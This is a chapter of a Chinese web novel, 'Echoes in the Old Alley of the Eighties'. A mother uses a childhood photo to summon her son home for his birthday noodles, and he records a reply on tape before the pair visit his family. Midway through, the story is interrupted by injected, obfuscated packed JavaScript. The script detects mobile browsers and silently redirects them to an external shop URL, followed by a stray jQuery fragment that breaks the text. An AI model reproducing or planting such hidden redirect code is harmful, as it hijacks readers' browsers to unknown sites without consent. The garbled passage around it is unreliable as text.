文趣网 > 都市小说 > 八零旧巷有回声 > 13. 不是情书
    信封从门缝里滑进来时,红叶照相馆正准备关门。

    韩师傅一脚踩住,弯腰捡起来,眯眼看了看封面。

    “梁潮生。”他念完,立刻抬头,眼神亮得像刚换了新灯泡,“哟,小梁,给你的。”

    梁潮生正在桌边拆录音机后盖,头也没抬:“要债的?”

    “不是。”韩师傅把信封翻过来,“还写着‘烦请周念安同学代转’。”

    周念安正在整理点歌本,闻言手一停。

    梁潮生也终于抬头。

    韩师傅笑得很不厚道:“这可讲究。给你的信,还要周念安代转。现在年轻人传话,都这么弯弯绕绕?”

    梁潮生伸手去拿:“韩叔,您少添油加醋。”

    韩师傅把信封往后一躲:“等等,万一是情书呢?照相馆有保护女同志名誉的责任。”

    周念安面无表情:“韩师傅,您刚才声音整条巷子都能听见了。”

    韩师傅:“……”

    梁潮生乐了。

    “周同学,你这句比我说得狠。”

    周念安没理他,只看着那只信封。

    牛皮纸,封口没粘死,字写得很歪,不像学生的字。信封角落沾着一点面粉似的白灰,边缘还有油渍,像是从谁家灶台边匆匆拿出来的。

    梁潮生一看那字,脸上那点笑就淡了。

    他伸手把信封拿过来,捏了捏。

    里面不厚,硬硬的一张东西,像照片。

    韩师傅凑过去:“拆啊。”

    “不拆。”梁潮生把信封往书包里一塞,“明天再说。”

    韩师傅啧了一声:“你这不是吊人胃口吗?”

    梁潮生:“您胃口太好,吊一吊有益健康。”

    他说完,拎起书包就要走。

    周念安看着他:“你知道是谁写的?”

    “债主。”

    “你妈?”

    梁潮生脚步一顿。

    韩师傅在旁边“嚯”了一声:“周念安,你比我还会猜。”

    梁潮生回头看她,表情有点复杂:“你怎么看出来的?”

    “信封上有面粉,还有油渍。字不像你爸,也不像梁潮平。”周念安说,“你刚才第一反应不是烦,是想躲。”

    韩师傅拍了下柜台:“这姑娘以后不当公安可惜了。”

    梁潮生叹了口气:“周同学,给人留点秘密。”

    “你可以不拆。”周念安把点歌本合上,“但既然写了让我代转,我至少要确认你收到了。”

    梁潮生看她一眼。

    周念安补了一句:“不看内容。”

    他沉默几秒,到底把信封拿出来,撕开封口。

    里面掉出两样东西。

    一张纸条。

    一张照片。

    照片先滑到桌上。

    韩师傅眼疾手快拿起来,看了一眼,笑得差点把茶缸碰翻。

    “哎哟!”

    梁潮生脸色一变,伸手去抢:“韩叔!”

    韩师傅举高:“别抢别抢,艺术作品要大家欣赏。”

    周念安本来没想看,可照片就在眼前晃了一下。

    她还是看见了。

    照片里是个五六岁的小男孩,光着膀子,穿一条明显不合身的小短裤,手里抱着半个西瓜,嘴角糊着瓜瓤,眼睛倒是亮,倔得很。旁边还有个更小的男孩,正伸手抢西瓜。

    梁潮生把照片抢回来,耳根罕见地红了。

    “韩叔,您很闲?”

    韩师傅笑得咳嗽:“这是你吧?哎,小梁,你小时候挺富态啊。”

    梁潮生把照片往信封里一塞:“那叫营养短暂充足。”

    周念安低头,嘴角压了又压。

    梁潮生看见了:“你想笑就笑。”

    “没有。”

    “你肩膀在动。”

    “风吹的。”

    他被气得说不出话。

    纸条还在桌上。

    梁潮生拿起来,展开。

    上头写得很短。

    梁潮生:

    明天你生日,回家吃面。

    不回来,我就把这张照片送给周念安。

    落款没有名字,只画了一个圆圈,旁边写着:你妈。

    韩师傅拍桌大笑。

    “宋玉兰可以啊,比你爸会办事。”

    梁潮生把纸条揉了一半,又停住,最后没舍得揉坏,只折起来塞回信封。

    周念安看着他。

    他脸上挂着一点尴尬,一点无奈,还有一点很浅的软。那软意不明显,像旧墙缝里长出的一点草,风一吹就想藏起来。

    “你明天生日?”她问。

    梁潮生把书包甩到肩上:“农历,家里记得,我不怎么记。”

    韩师傅立刻说:“那得吃面。长寿面,不能断。”

    梁潮生:“韩叔,您别跟我妈一唱一和。”

    “我这是传统。”

    周念安把点歌本收进包里,问:“要不要录一句回复?”

    梁潮生像听见什么荒唐事:“我给我妈录?”

    “不行吗?”

    “回家吃顿面还要录音,听着像厂里下通知。”

    周念安点点头:“那你直接回。”

    梁潮生张了张嘴,没说出话。

    他其实不太想回。

    昨天广播把梁家的事摊开,父亲脸上过不去,弟弟心虚,母亲肯定又在中间打圆场。梁家吃饭从来不像周家那么热闹,周家是吵,吵得锅碗瓢盆都有脾气;梁家是闷,闷到一根筷子掉在地上,都像要砸出火。

    韩师傅看出来了,没再逗他,只把门锁拿起来。

    “行了,早点回。你妈今天傍晚来放信的时候,在门外站了好一会儿。怕你不收,又怕你真收了嫌烦。”

    梁潮生动作一顿。

    周念安没有说话。

    梁潮生低头看了看手里的信封,过了会儿,忽然把书包放下。

    “录一句吧。”

    周念安打开录音机。

    梁潮生坐到桌边,刚才还嘴硬的人,这会儿对着话筒反倒不自在起来。他清了清嗓子,又清了一遍。

    韩师傅在后头提醒:“说自然点,别像欠人钱。”

    梁潮生看他:“您能不能出去?”

    韩师傅:“我自己的店。”

    周念安把话筒往他面前推了推:“开始?”

    梁潮生看着那枚小红灯,沉默两秒。

    “妈。”他说。

    只一个字,他就停住了。

    周念安垂下眼,装作在整理磁带盒。

    梁潮生继续道:“面别煮太烂。还有,照片别乱送,影响你儿子形象。”

    他说完就要按停。

    周念安抬手拦住:“就这些?”

    “还要什么?”

    “你明天回不回?”

    梁潮生顿了顿,不太自然地补了一句:“我回。”

    录音结束。

    周念安把磁带倒回去听了一遍。

    声音很短,却清楚。

    她贴标签时,梁潮生凑过来看。

    编号三。给宋玉兰。生日面。

    梁潮生指着最后三个字:“这什么题目?”

    “方便查。”

    “你以后管账肯定很可怕。”

    “谢谢。”

    “我没夸你。”

    “我当是。”

    韩师傅笑着摇头:“你俩这嘴皮子,凑一块能开说书摊。”

    梁潮生把录好的磁带放进信封里,连同那张照片一起塞回去。想了想,又把照片抽出来,揣进自己兜里。

    周念安看见了。

    他立刻解释:“这是重要证物。”

    “嗯。”

    “不是怕你看。”

    “我没问。”

    梁潮生被她堵得没话,拎着信封往外走。

    周念安也跟出来。

    夜里的旧巷比傍晚安静些,楼上偶尔还有碗筷碰响。梁家住在靠近厂区北门的一栋旧楼里,楼道窄,墙皮掉得厉害,一进门就能闻到煤球味。

    梁潮生站在自家门口,敲门前停了一下。

    周念安原本想说自己在楼下等。

    门却已经开了。

    开门的是一个瘦瘦的女人,头发在脑后挽成低髻,围裙上沾着面粉。她看见梁潮生,眼睛先亮了一下,随即又看见他身后的周念安,整个人明显慌了半拍。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17703572|208021||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    “念安同学也来了?”

    周念安礼貌点头:“宋阿姨好。我只是陪他送东西。”

    宋玉兰立刻擦手:“进来坐,进来坐。”

    梁潮生说:“她不坐。”

    宋玉兰瞪他:“你说了算?”

    梁潮生闭嘴。

    周念安还没来得及拒绝,就被宋玉兰让进屋。

    梁家屋子比周家更窄,也更安静。桌上放着一盆揉好的面,灶台边烧着水,梁潮平蹲在角落写检查,写一行抓一次头发。

    他看见周念安,立刻把纸往胳膊下一压。

    梁潮生瞥他:“写错字了?”

    梁潮平嘴硬:“我写得很好。”

    梁潮生过去一看:“‘我不该冒充哥哥’的冒,你写成帽子的帽。”

    梁潮平脸涨红:“意思差不多!”

    “不差。你戴帽子冒充我,性质更严重。”

    周念安没忍住笑了一下。

    宋玉兰把这一幕看在眼里,脸上也带了点笑。她接过信封,听说里面有录音,愣了好一会儿。

    “还真录了?”

    梁潮生不看她:“周念安让录的。”

    周念安:“……”

    宋玉兰立刻看她,眼神更软:“谢谢你啊,念安。”

    周念安说:“是他自己说的。”

    梁潮生:“我没有。”

    周念安:“有。”

    梁潮平在角落插嘴:“哥,你嘴硬也不是一天两天了。”

    梁潮生回头:“你检查写完了吗?”

    梁潮平立刻低头装死。

    里屋传来一声咳嗽。

    梁振山坐在里头,没出来。

    昨天办公室和厂区食堂的事显然还压在他身上。他这个人爱面子,能在外头低一次头,回家反倒更不知道怎么开口。

    宋玉兰看了一眼里屋,小声说:“你爸今天没骂你。”

    梁潮生说:“那还挺稀罕。”

    宋玉兰伸手打了他一下,不重。

    “明天回来吃面。”她说。

    “知道。”

    “别又说忙。”

    “嗯。”

    “也别带一堆人回来,家里坐不下。”

    梁潮生看一眼周念安,故意说:“那我把韩叔也带来?”

    宋玉兰气得又要打他。

    周念安站在门边,看着这一家人。

    梁家的爱不像周家那样吵得明亮。它别扭,发硬,常常说出口就变形。父亲躲在里屋不出来,母亲用一张丢人的旧照片逼儿子回家,弟弟偷吃茶叶蛋后还要写“帽充哥哥”。

    可它也不是没有。

    只是藏得太深,藏到梁潮生自己都懒得翻。

    两人从梁家出来时,梁潮生一路没说话。

    走到楼下,他忽然停住。

    “周念安。”

    “嗯?”

    “今天这事别往外说。”

    她点头:“嗯。”

    梁潮生又补:“尤其是照片。”

    周念安说:“我没看清。”

    “你看清了。”

    “没有。”

    “你明明笑了。”

    “我笑的是你弟写错字。”

    梁潮生盯着她半天,最后被气笑。

    “行,算你仗义。”

    他们回到红叶照相馆时,韩师傅已经关了半扇门。门口却蹲着一个小姑娘,十六七岁,穿洗得发白的蓝布褂,怀里抱着一个纸袋。

    见他们回来,她立刻站起来。

    “请问,这里能拍照片吗?”

    韩师傅在屋里喊:“能啊,照相馆不拍照片拍黄瓜?”

    小姑娘被吓了一跳,又赶紧低声说:“我想拍一张报名照。明天就要用。”

    周念安看见她手里的纸袋边露出半张报名表。

    上面印着几个字:

    省城广播培训班报名登记表。

    她心里一动。

    梁潮生也看见了。

    小姑娘攥紧纸袋,声音更低。

    “但是……能不能别让我妈知道?”

    旧巷里吹来一阵晚风。

    刚刚轻松起来的夜色,忽然又有了新的回声。